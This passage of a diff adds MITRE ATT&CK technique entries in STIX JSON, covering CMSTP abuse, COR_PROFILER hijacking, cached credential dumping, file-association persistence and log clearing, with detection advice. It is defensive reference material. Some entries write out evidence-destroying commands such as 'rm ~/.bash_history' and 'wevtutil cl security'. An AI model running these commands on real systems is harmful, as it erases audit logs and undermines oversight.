}, + { + "source_name": "enigma0x3 sdclt app paths", + "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/" + }, + { + "source_name": "enigma0x3 sdclt bypass", + "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "CDNs", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:47:55.905Z", + "created": "2020-10-02T16:59:56.648Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75", + "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1596/004", + "external_id": "T1596.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/", + "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.", + "source_name": "DigitalShadows CDN" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T18:58:17.078Z", + "name": "CMSTP", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1191", + "external_id": "T1191", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Connection Manager Oct 2009", + "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)" + }, + { + "url": "https://twitter.com/ItsReallyNick/status/958789644165894146", + "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", + "source_name": "Twitter CMSTP Usage Jan 2018" + }, + { + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "url": "https://msitpros.com/?p=3960" + }, + { + "source_name": "Twitter CMSTP Jan 2018", + "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", + "url": "https://twitter.com/NickTyrer/status/958450014111633408" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + }, + { + "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", + "source_name": "Endurant CMSTP July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "CMSTP", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:34:03.247Z", + "created": "2020-01-23T18:27:30.656Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "x_mitre_contributors": [ + "Nik Seetharaman, Palantir", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" + ], + "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/003", + "external_id": "T1218.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Connection Manager Oct 2009", + "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)" + }, + { + "source_name": "Twitter CMSTP Usage Jan 2018", + "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", + "url": "https://twitter.com/ItsReallyNick/status/958789644165894146" + }, + { + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "url": "https://msitpros.com/?p=3960" + }, + { + "source_name": "Twitter CMSTP Jan 2018", + "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", + "url": "https://twitter.com/NickTyrer/status/958450014111633408" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + }, + { + "source_name": "Endurant CMSTP July 2018", + "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", + "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "COR_PROFILER", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-08-30T21:35:12.049Z", + "created": "2020-06-24T22:30:55.843Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", + "x_mitre_contributors": [ + "Jesse Brown, Red Canary" + ], + "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/012", + "external_id": "T1574.012", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview", + "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.", + "source_name": "Microsoft Profiling Mar 2017" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)", + "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.", + "source_name": "Microsoft COR_PROFILER Feb 2013" + }, + { + "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", + "source_name": "RedCanary Mockingbird May 2020" + }, + { + "url": "https://redcanary.com/blog/cor_profiler-for-persistence/", + "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.", + "source_name": "Red Canary COR_PROFILER May 2020" + }, + { + "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html", + "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.", + "source_name": "Almond COR_PROFILER Apr 2019" + }, + { + "url": "https://github.com/OmerYa/Invisi-Shell", + "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.", + "source_name": "GitHub OmerYa Invisi-Shell" + }, + { + "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html", + "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.", + "source_name": "subTee .NET Profilers May 2017" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-24T20:41:08.996Z", + "name": "Cached Domain Credentials", + "x_mitre_data_sources": [ + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-02-21T15:42:25.991Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", + "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/005", + "external_id": "T1003.005", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)", + "description": "Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.", + "source_name": "Microsoft - Cached Creds" + }, + { + "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html", + "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.", + "source_name": "PassLib mscache" + }, + { + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials", + "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.", + "source_name": "ired mscache" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T13:41:32.520Z", + "name": "Change Default File Association", + "created": "2017-05-31T21:30:42.222Z", + "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1042", + "external_id": "T1042", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/556.html", + "external_id": "CAPEC-556", + "source_name": "capec" + }, + { + "source_name": "Microsoft Change Default Programs", + "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", + "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" + }, + { + "source_name": "Microsoft File Handlers", + "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx" + }, + { + "source_name": "Microsoft Assoc Oct 2017", + "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc" + }, + { + "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", + "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T13:40:47.282Z", + "name": "Change Default File Association", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-01-24T13:40:47.282Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", + "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example: \n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/001", + "external_id": "T1546.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/556.html", + "external_id": "CAPEC-556", + "source_name": "capec" + }, + { + "source_name": "Microsoft Change Default Programs", + "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", + "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" + }, + { + "source_name": "Microsoft File Handlers", + "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx" + }, + { + "source_name": "Microsoft Assoc Oct 2017", + "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc" + }, + { + "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", + "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T12:32:52.281Z", + "name": "Clear Command History", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1146", + "external_id": "T1146", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-16T18:09:48.686Z", + "name": "Clear Command History", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "File: File Deletion" + ], + "x_mitre_version": "1.1", + "created": "2020-01-31T12:32:08.228Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Log analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vikas Singh, Sophos", + "Emile Kenning, Sophos" + ], + "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070/003", + "external_id": "T1070.003", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7", + "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.", + "source_name": "Microsoft PowerShell Command History" + }, + { + "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", + "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.", + "source_name": "Sophos PowerShell command audit" + }, + { + "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", + "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.", + "source_name": "Sophos PowerShell Command History Forensics" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Clear Linux or Mac System Logs", + "x_mitre_data_sources": [ + "File: File Deletion", + "File: File Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T21:23:51.886Z", + "created": "2020-01-28T17:11:54.034Z", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070/002", + "external_id": "T1070.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/", + "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.", + "source_name": "Linux Logs" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-29T21:17:03.732Z", + "name": "Clear Windows Event Logs", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1070/001", + "external_id": "T1070.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft wevtutil Oct 2017", + "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil" + }, + { + "source_name": "Microsoft EventLog.Clear", + "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.", + "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx" + }, + { + "source_name": "Microsoft Clear-EventLog", + "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.", + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog" + } + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Clearing the Windows event logs requires Administrator permissions" + ], + "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "x_mitre_defense_bypassed": [ + "Anti Virus", + "Host Intrusion Prevention Systems", + "Log Analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or 